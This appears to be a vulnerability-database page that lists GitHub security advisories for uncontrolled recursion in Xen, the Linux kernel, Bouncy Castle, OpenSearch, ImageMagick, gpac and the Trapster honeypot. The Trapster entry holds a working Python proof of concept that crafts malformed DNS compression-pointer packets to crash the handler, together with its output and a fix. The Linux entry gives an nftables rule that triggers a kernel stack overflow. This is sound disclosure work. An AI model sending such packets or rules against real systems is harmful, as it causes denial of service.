Common Weakness Enumeration
CWE-674
Allowed-with-ReviewUncontrolled Recursion
Abstraction: Class · Status: Draft
The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.
751 vulnerabilities reference this CWE, most recent first.
GHSA-MR64-XWWR-MX4C
Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2022-05-24 17:36
VLAI
Details
An issue was discovered in Xen through 4.14.x. When they require assistance from the device model, x86 HVM guests must be temporarily de-scheduled. The device model will signal Xen when it has completed its operation, via an event channel, so that the relevant vCPU is rescheduled. If the device model were to signal Xen without having actually completed the operation, the de-schedule / re-schedule cycle would repeat. If, in addition, Xen is resignalled very quickly, the re-schedule may occur before the de-schedule was fully complete, triggering a shortcut. This potentially repeating process uses ordinary recursive function calls, and thus could result in a stack overflow. A malicious or buggy stubdomain serving a HVM guest can cause Xen to crash, resulting in a Denial of Service (DoS) to the entire host. Only x86 systems are affected. Arm systems are not affected. Only x86 stubdomains serving HVM guests can exploit the vulnerability.
{
"affected": [],
"aliases": [
"CVE-2020-29566"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-15T17:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Xen through 4.14.x. When they require assistance from the device model, x86 HVM guests must be temporarily de-scheduled. The device model will signal Xen when it has completed its operation, via an event channel, so that the relevant vCPU is rescheduled. If the device model were to signal Xen without having actually completed the operation, the de-schedule / re-schedule cycle would repeat. If, in addition, Xen is resignalled very quickly, the re-schedule may occur before the de-schedule was fully complete, triggering a shortcut. This potentially repeating process uses ordinary recursive function calls, and thus could result in a stack overflow. A malicious or buggy stubdomain serving a HVM guest can cause Xen to crash, resulting in a Denial of Service (DoS) to the entire host. Only x86 systems are affected. Arm systems are not affected. Only x86 stubdomains serving HVM guests can exploit the vulnerability.",
"id": "GHSA-mr64-xwwr-mx4c",
"modified": "2022-05-24T17:36:34Z",
"published": "2022-05-24T17:36:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-29566"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2C6M6S3CIMEBACH6O7V4H2VDANMO6TVA"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/OBLV6L6Q24PPQ2CRFXDX4Q76KU776GKI"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202107-30"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2020/dsa-4812"
},
{
"type": "WEB",
"url": "https://xenbits.xenproject.org/xsa/advisory-348.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-MRF2-HC9C-229V
Vulnerability from github – Published: 2026-06-25 09:31 – Updated: 2026-06-28 09:31
VLAI
Details
In the Linux kernel, the following vulnerability has been resolved:
netfilter: nft_ct: bail out on template ct in get eval
I noticed this issue while looking at a historic syzbot report 1.
A rule like the one below is enough to trigger the bug:
table ip t {
chain pre {
type filter hook prerouting priority raw;
ct zone set 1
ct original saddr 1.2.3.4 accept
}
}
The first expression attaches a per-cpu template ct via nft_ct_set_zone_eval() (nf_ct_tmpl_alloc -> kzalloc, tuple is all zero, nf_ct_l3num(ct) == 0). The next expression then calls nft_ct_get_eval() on the same skb, treats the template as a real ct and hits the 16-byte memcpy path. With dreg at NFT_REG32_15 this overflows past struct nft_regs on the kernel stack; with smaller dreg values it silently clobbers adjacent registers.
Reject template ct at the eval entry and in nft_ct_get_fast_eval(), mirroring the check nft_ct_set_eval() already has. Additionally, bound the address copy in NFT_CT_SRC / NFT_CT_DST by priv->len instead of by nf_ct_l3num(ct): nf_ct_get_tuple() zeroes the tuple before pkt_to_tuple() fills in only the protocol-relevant leading bytes, so the trailing bytes of tuple->{src,dst}.u3.all are well-defined zero. priv->len is validated at rule load, so the copy size is now bounded by the destination register rather than by an untrusted field on the conntrack.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2026-53267"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-25T09:16:44Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nft_ct: bail out on template ct in get eval\n\nI noticed this issue while looking at a historic syzbot report [1].\n\nA rule like the one below is enough to trigger the bug:\n\n table ip t {\n chain pre {\n type filter hook prerouting priority raw;\n ct zone set 1\n ct original saddr 1.2.3.4 accept\n }\n }\n\nThe first expression attaches a per-cpu template ct via\nnft_ct_set_zone_eval() (nf_ct_tmpl_alloc -\u003e kzalloc, tuple is all\nzero, nf_ct_l3num(ct) == 0). The next expression then calls\nnft_ct_get_eval() on the same skb, treats the template as a real ct\nand hits the 16-byte memcpy path. With dreg at NFT_REG32_15 this\noverflows past struct nft_regs on the kernel stack; with smaller\ndreg values it silently clobbers adjacent registers.\n\nReject template ct at the eval entry and in nft_ct_get_fast_eval(),\nmirroring the check nft_ct_set_eval() already has. Additionally,\nbound the address copy in NFT_CT_SRC / NFT_CT_DST by priv-\u003elen\ninstead of by nf_ct_l3num(ct): nf_ct_get_tuple() zeroes the tuple\nbefore pkt_to_tuple() fills in only the protocol-relevant leading\nbytes, so the trailing bytes of tuple-\u003e{src,dst}.u3.all are\nwell-defined zero. priv-\u003elen is validated at rule load, so the\ncopy size is now bounded by the destination register rather than\nby an untrusted field on the conntrack.\n\n[1]: https://syzkaller.appspot.com/bug?id=389cf09cb72926114fce90dc85a2c3231dcb647c",
"id": "GHSA-mrf2-hc9c-229v",
"modified": "2026-06-28T09:31:47Z",
"published": "2026-06-25T09:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53267"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/2e154b5f53f1b0b490c7b8b02499f90feb86b1d5"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/3027ecbdb5fdf9200251c21d4818e4c447ef78e1"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/8470f676eadeab99132708acb1a85915664d6115"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/af80f78ce984649e1698b841cd33f4fa505ad828"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/f071b0bf078146368d18e4eec386bf2ddc0ab7e0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MVF5-GHMW-PMR7
Vulnerability from github – Published: 2026-08-03 03:31 – Updated: 2026-08-28 21:30
VLAI
Details
In Bouncy Castle for Java before 1.85, OER parser recurses without depth limit on self-referential IEEE 1609.2 schema. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bcutil-fips 2.0.7 (2.0.X series) and 2.1.7 (2.1.X series).
Severity
{
"affected": [],
"aliases": [
"CVE-2026-59645"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-03T01:16:44Z",
"severity": "HIGH"
},
"details": "In Bouncy Castle for Java before 1.85, OER parser recurses without depth limit on self-referential IEEE 1609.2 schema. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bcutil-fips 2.0.7 (2.0.X series) and 2.1.7 (2.1.X series).",
"id": "GHSA-mvf5-ghmw-pmr7",
"modified": "2026-08-28T21:30:29Z",
"published": "2026-08-03T03:31:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59645"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/commit/822b2478b131097368a56290f5728e28dd042989"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%9059645"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/wiki/CVE-2026-59645"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber",
"type": "CVSS_V4"
}
]
}
GHSA-MW3V-MMFW-3X2G
Vulnerability from github – Published: 2025-11-25 21:32 – Updated: 2026-01-22 13:50
VLAI
Summary
OpenSearch is vulnerable to DoS via complex query_string inputs
Details
A vulnerability in OpenSearch allows attackers to cause Denial of Service (DoS) by submitting complex query_string inputs.
This issue affects all OpenSearch versions below 2.19.4 and versions 3.0.0 through 3.2.0.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.opensearch:opensearch-common"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.3.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.opensearch:opensearch-common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.19.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-9624"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-26T22:10:36Z",
"nvd_published_at": "2025-11-25T20:16:01Z",
"severity": "HIGH"
},
"details": "A vulnerability in OpenSearch allows attackers to cause Denial of Service (DoS) by submitting complex query_string inputs.\n\nThis issue affects all OpenSearch versions below 2.19.4 and versions 3.0.0 through 3.2.0.",
"id": "GHSA-mw3v-mmfw-3x2g",
"modified": "2026-01-22T13:50:34Z",
"published": "2025-11-25T21:32:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9624"
},
{
"type": "WEB",
"url": "https://github.com/opensearch-project/OpenSearch/pull/19491"
},
{
"type": "WEB",
"url": "https://caverav.cl/posts/opensearch-dos/opensearch-dos"
},
{
"type": "WEB",
"url": "https://fluidattacks.com/advisories/chick"
},
{
"type": "PACKAGE",
"url": "https://github.com/opensearch-project/OpenSearch"
},
{
"type": "WEB",
"url": "https://github.com/opensearch-project/OpenSearch/releases/tag/2.19.4"
},
{
"type": "WEB",
"url": "https://github.com/opensearch-project/OpenSearch/releases/tag/3.3.0"
},
{
"type": "WEB",
"url": "https://opensearch.org/blog/explore-opensearch-3-3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H",
"type": "CVSS_V4"
}
],
"summary": "OpenSearch is vulnerable to DoS via complex query_string inputs"
}
GHSA-MX48-2QQ3-23HF
Vulnerability from github – Published: 2026-07-24 14:05 – Updated: 2026-07-24 14:05
VLAI
Summary
ImageMagick: Stack Overflow in MVG decoder due to missing depth check.
Details
A missing depth check in the MVG decoder will result in a stack overflow when a crafted image is provided.
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.15.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.15.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.15.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.15.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.15.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.15.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-OpenMP-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.15.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.15.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.15.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.15.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.15.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.15.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-OpenMP-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.15.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.15.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.15.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.15.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.15.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55594"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T14:05:39Z",
"nvd_published_at": "2026-07-01T19:16:55Z",
"severity": "MODERATE"
},
"details": "A missing depth check in the MVG decoder will result in a stack overflow when a crafted image is provided.",
"id": "GHSA-mx48-2qq3-23hf",
"modified": "2026-07-24T14:05:39Z",
"published": "2026-07-24T14:05:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-mx48-2qq3-23hf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55594"
},
{
"type": "PACKAGE",
"url": "https://github.com/ImageMagick/ImageMagick"
},
{
"type": "WEB",
"url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.15.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "ImageMagick: Stack Overflow in MVG decoder due to missing depth check."
}
GHSA-MXRW-65PF-J4FF
Vulnerability from github – Published: 2022-09-16 00:00 – Updated: 2022-09-20 00:00
VLAI
Details
Uncontrolled Recursion in GitHub repository gpac/gpac prior to 2.1.0-DEV.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2022-3222"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-15T09:15:00Z",
"severity": "MODERATE"
},
"details": "Uncontrolled Recursion in GitHub repository gpac/gpac prior to 2.1.0-DEV.",
"id": "GHSA-mxrw-65pf-j4ff",
"modified": "2022-09-20T00:00:29Z",
"published": "2022-09-16T00:00:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3222"
},
{
"type": "WEB",
"url": "https://github.com/gpac/gpac/commit/4e7736d7ec7bf64026daa611da951993bb42fdaf"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/b29c69fa-3eac-41e4-9d4f-d861aba18235"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2023/dsa-5411"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MXWC-WH95-PW4G
Vulnerability from github – Published: 2026-07-08 20:24 – Updated: 2026-07-08 20:24
VLAI
Summary
Trapster Community: Unauthenticated malformed DNS compression pointers crash per-packet honeypot handler
Details
Summary
trapster.libs.dns.decode_labels() decodes DNS names from attacker-supplied UDP packets and recurses once per RFC 1035 compression pointer with no cycle detection and no depth bound. A single unauthenticated UDP datagram sent to the DNS honeypot drives the function past CPython's recursion limit, raising RecursionError. That exception is not handled anywhere on the datagram_received path, so it escapes into the asyncio event loop's default exception handler, the per-packet proxy task is never created, and a low-rate flood produces sustained CPU burn and log flooding (denial of service of the DNS honeypot module).
Severity
Medium (CVSS:3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L). Network-reachable, unauthenticated, single-packet, availability-only against the DNS honeypot listener.
Affected component
- File:
trapster/libs/dns.py, functiondecode_labels()(called bydecode_question_section→decode_dns_message). - Reached from:
trapster/modules/dns.py,DnsUdpProtocol.datagram_received()→dns.decode_dns_message(data), wheredatais the raw attacker UDP payload received byDnsHoneypoton its configured bind address/port. - Version tested: latest
mainat commit23156739de23816657cbc4582ad32094ed1cab43.
Details
decode_labels implements RFC 1035 §4.1.4 name compression:
def decode_labels(message, offset):
labels = []
while True:
length, = struct.unpack_from("!B", message, offset)
if (length & 0xC0) == 0xC0:
pointer, = struct.unpack_from("!H", message, offset)
offset += 2
return labels + decode_labels(message, pointer & 0x3FFF), offset # <-- recurses per pointer
...
Each compression pointer triggers a fresh recursive call to decode_labels. There is:
- No cycle detection — a pointer that targets its own offset recurses forever.
- No depth bound — a chain of distinct forward pointers recurses once per pointer.
Either shape exhausts the Python stack and raises RecursionError. decode_dns_message does not catch it, and in DnsUdpProtocol.datagram_received the call dns.decode_dns_message(data) is unguarded, so the exception propagates out of datagram_received into the event loop. Each hostile packet therefore aborts its own packet-handling/proxy task, and the loop's default exception handler logs a full traceback for every packet.
This is the same class of bug fixed upstream in python-zeroconf (compression-pointer recursion), except this implementation additionally lacks the loop/cycle guard that zeroconf already had.
Proof of Concept
Real-deploy E2E. The actual trapster.modules.dns.DnsHoneypot server is started on a real UDP socket; hostile packets are sent from a separate real client socket over loopback. The event-loop exception handler records what escapes datagram_received.
e2e_poc.py:
import asyncio, struct, socket, sys
from trapster.modules.dns import DnsHoneypot
from trapster.logger.base import BaseLogger
HOST, PORT = "127.0.0.1", 15353
captured_loop_exceptions = []
def build_benign_query(qname=b"example.com"):
header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
labels = b"".join(struct.pack("!B", len(p)) + p for p in qname.split(b".")) + b"\x00"
return header + labels + struct.pack("!2H", 1, 1)
def build_self_pointer():
header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
name = struct.pack("!H", 0xC000 | 12) # pointer to offset 12 == this name
return header + name + struct.pack("!2H", 1, 1)
def build_pointer_chain(depth=2000):
header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
name = struct.pack("!H", 0xC000 | 18)
qtail = struct.pack("!2H", 1, 1)
chain = bytearray()
for i in range(depth):
chain += struct.pack("!H", 0xC000 | (18 + 2 * (i + 1)))
chain += b"\x00"
return header + name + qtail + bytes(chain)
def send_udp(payload, timeout=1.0):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.settimeout(timeout)
s.sendto(payload, (HOST, PORT))
try: return s.recvfrom(4096)[0]
except socket.timeout: return None
finally: s.close()
async def main():
loop = asyncio.get_running_loop()
def handler(loopobj, context):
exc = context.get("exception")
captured_loop_exceptions.append((repr(exc), context.get("message")))
print(f"[loop-exception-handler] {type(exc).__name__ if exc else None}: {context.get('message')}")
loop.set_exception_handler(handler)
hp = DnsHoneypot(config={"port": PORT, "target_dns": "127.0.0.1"},
logger=BaseLogger(node_id="e2e"), bindaddr=HOST)
await hp.start(); await asyncio.sleep(0.4)
print(f"[deploy] DnsHoneypot listening on udp://{HOST}:{PORT}\n")
print("=== NEGATIVE CONTROL: benign query example.com A ===")
captured_loop_exceptions.clear(); send_udp(build_benign_query()); await asyncio.sleep(0.3)
print(f" loop exceptions after benign packet: {len(captured_loop_exceptions)}")
assert len(captured_loop_exceptions) == 0
print(" -> benign packet parsed cleanly, no exception\n")
print("=== VECTOR A: single self-referential compression pointer (cycle) ===")
captured_loop_exceptions.clear(); pkt = build_self_pointer()
print(f" packet ({len(pkt)} bytes) name field = pointer 0xC00C -> offset 12 (itself)")
send_udp(pkt); await asyncio.sleep(0.5)
print(f" loop exceptions captured: {len(captured_loop_exceptions)}")
for e in captured_loop_exceptions: print(f" {e}")
assert any("RecursionError" in e[0] for e in captured_loop_exceptions)
print(" -> RecursionError escaped datagram_received (DoS, no cycle guard)\n")
print("=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===")
captured_loop_exceptions.clear(); pkt = build_pointer_chain(2000)
print(f" packet ({len(pkt)} bytes) = 2000-deep forward pointer chain")
send_udp(pkt); await asyncio.sleep(0.5)
print(f" loop exceptions captured: {len(captured_loop_exceptions)}")
for e in captured_loop_exceptions: print(f" {e}")
assert any("RecursionError" in e[0] for e in captured_loop_exceptions)
print(" -> RecursionError escaped datagram_received (DoS, no depth bound)\n")
await hp.stop(); print("ALL ASSERTIONS PASSED")
if __name__ == "__main__":
sys.setrecursionlimit(1000)
asyncio.run(main())
Verbatim run against the deployed honeypot at commit 23156739de23816657cbc4582ad32094ed1cab43:
[deploy] DnsHoneypot listening on udp://127.0.0.1:15353
=== NEGATIVE CONTROL: benign query example.com A ===
loop exceptions after benign packet: 0
-> benign packet parsed cleanly, no exception
=== VECTOR A: single self-referential compression pointer (cycle) ===
packet (18 bytes) name field = pointer 0xC00C -> offset 12 (itself)
[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()
loop exceptions captured: 1
("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()')
-> RecursionError escaped datagram_received (DoS, no cycle guard)
=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===
packet (4019 bytes) = 2000-deep forward pointer chain
[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()
loop exceptions captured: 1
("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()')
-> RecursionError escaped datagram_received (DoS, no depth bound)
ALL ASSERTIONS PASSED
The negative control (a well-formed example.com A query) parses with zero exceptions, confirming the crash is specific to the malformed compression input.
Impact
Any host able to send UDP to the DNS honeypot's bind address/port (unauthenticated, no UI) can crash the per-packet handler with a single ~18-byte datagram. A low-rate flood (a few packets per second) keeps the event loop logging full tracebacks and burning CPU, degrading the DNS honeypot and its logging pipeline. Availability impact only; no memory disclosure or code execution.
Suggested fix
Make decode_labels iterative-bounded: require every compression pointer to point strictly backward to a not-yet-visited offset, which bounds both cycles and long forward chains in O(message length) with no recursion. (This mirrors dnspython's biggest_pointer design and the zeroconf depth-bound fix.) Replace the bare raise "unknown label encoding" with a real exception, and consider wrapping dns.decode_dns_message(data) in DnsUdpProtocol.datagram_received in a try/except so a malformed packet is logged once rather than escaping to the loop handler.
Verified fix (benign + legitimate backward-compression names still decode; both hostile vectors are bounded to ValueError with no recursion):
def decode_labels(message, offset):
labels = []
return_offset = None
max_allowed_pointer = len(message)
while True:
length, = struct.unpack_from("!B", message, offset)
if (length & 0xC0) == 0xC0:
pointer, = struct.unpack_from("!H", message, offset)
if return_offset is None:
return_offset = offset + 2
target = pointer & 0x3FFF
if target >= max_allowed_pointer:
raise ValueError("invalid DNS compression pointer")
max_allowed_pointer = target
offset = target
continue
if (length & 0xC0) != 0x00:
raise ValueError("unknown label encoding")
offset += 1
if length == 0:
return labels, return_offset if return_offset is not None else offset
labels.append(*struct.unpack_from("!%ds" % length, message, offset))
try:
labels[-1] = labels[-1].decode()
except UnicodeDecodeError:
labels[-1] = str(labels[-1])
offset += length
A fix PR will be supplied from a temporary private fork during the embargo.
Credit
Discovered and reported by tonghuaroot.
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "trapster"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-08T20:24:46Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`trapster.libs.dns.decode_labels()` decodes DNS names from attacker-supplied UDP packets and recurses **once per RFC 1035 compression pointer** with **no cycle detection and no depth bound**. A single unauthenticated UDP datagram sent to the DNS honeypot drives the function past CPython\u0027s recursion limit, raising `RecursionError`. That exception is not handled anywhere on the `datagram_received` path, so it escapes into the asyncio event loop\u0027s default exception handler, the per-packet proxy task is never created, and a low-rate flood produces sustained CPU burn and log flooding (denial of service of the DNS honeypot module).\n\n## Severity\n\nMedium (CVSS:3.1 `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`). Network-reachable, unauthenticated, single-packet, availability-only against the DNS honeypot listener.\n\n## Affected component\n\n- File: `trapster/libs/dns.py`, function `decode_labels()` (called by `decode_question_section` \u2192 `decode_dns_message`).\n- Reached from: `trapster/modules/dns.py`, `DnsUdpProtocol.datagram_received()` \u2192 `dns.decode_dns_message(data)`, where `data` is the raw attacker UDP payload received by `DnsHoneypot` on its configured bind address/port.\n- Version tested: latest `main` at commit `23156739de23816657cbc4582ad32094ed1cab43`.\n\n## Details\n\n`decode_labels` implements RFC 1035 \u00a74.1.4 name compression:\n\n```python\ndef decode_labels(message, offset):\n labels = []\n while True:\n length, = struct.unpack_from(\"!B\", message, offset)\n if (length \u0026 0xC0) == 0xC0:\n pointer, = struct.unpack_from(\"!H\", message, offset)\n offset += 2\n return labels + decode_labels(message, pointer \u0026 0x3FFF), offset # \u003c-- recurses per pointer\n ...\n```\n\nEach compression pointer triggers a fresh recursive call to `decode_labels`. There is:\n\n- **No cycle detection** \u2014 a pointer that targets its own offset recurses forever.\n- **No depth bound** \u2014 a chain of distinct forward pointers recurses once per pointer.\n\nEither shape exhausts the Python stack and raises `RecursionError`. `decode_dns_message` does not catch it, and in `DnsUdpProtocol.datagram_received` the call `dns.decode_dns_message(data)` is unguarded, so the exception propagates out of `datagram_received` into the event loop. Each hostile packet therefore aborts its own packet-handling/proxy task, and the loop\u0027s default exception handler logs a full traceback for every packet.\n\nThis is the same class of bug fixed upstream in `python-zeroconf` (compression-pointer recursion), except this implementation additionally lacks the loop/cycle guard that zeroconf already had.\n\n## Proof of Concept\n\nReal-deploy E2E. The actual `trapster.modules.dns.DnsHoneypot` server is started on a real UDP socket; hostile packets are sent from a separate real client socket over loopback. The event-loop exception handler records what escapes `datagram_received`.\n\n`e2e_poc.py`:\n\n```python\nimport asyncio, struct, socket, sys\nfrom trapster.modules.dns import DnsHoneypot\nfrom trapster.logger.base import BaseLogger\n\nHOST, PORT = \"127.0.0.1\", 15353\ncaptured_loop_exceptions = []\n\ndef build_benign_query(qname=b\"example.com\"):\n header = struct.pack(\"!6H\", 0x1234, 0x0100, 1, 0, 0, 0)\n labels = b\"\".join(struct.pack(\"!B\", len(p)) + p for p in qname.split(b\".\")) + b\"\\x00\"\n return header + labels + struct.pack(\"!2H\", 1, 1)\n\ndef build_self_pointer():\n header = struct.pack(\"!6H\", 0x1234, 0x0100, 1, 0, 0, 0)\n name = struct.pack(\"!H\", 0xC000 | 12) # pointer to offset 12 == this name\n return header + name + struct.pack(\"!2H\", 1, 1)\n\ndef build_pointer_chain(depth=2000):\n header = struct.pack(\"!6H\", 0x1234, 0x0100, 1, 0, 0, 0)\n name = struct.pack(\"!H\", 0xC000 | 18)\n qtail = struct.pack(\"!2H\", 1, 1)\n chain = bytearray()\n for i in range(depth):\n chain += struct.pack(\"!H\", 0xC000 | (18 + 2 * (i + 1)))\n chain += b\"\\x00\"\n return header + name + qtail + 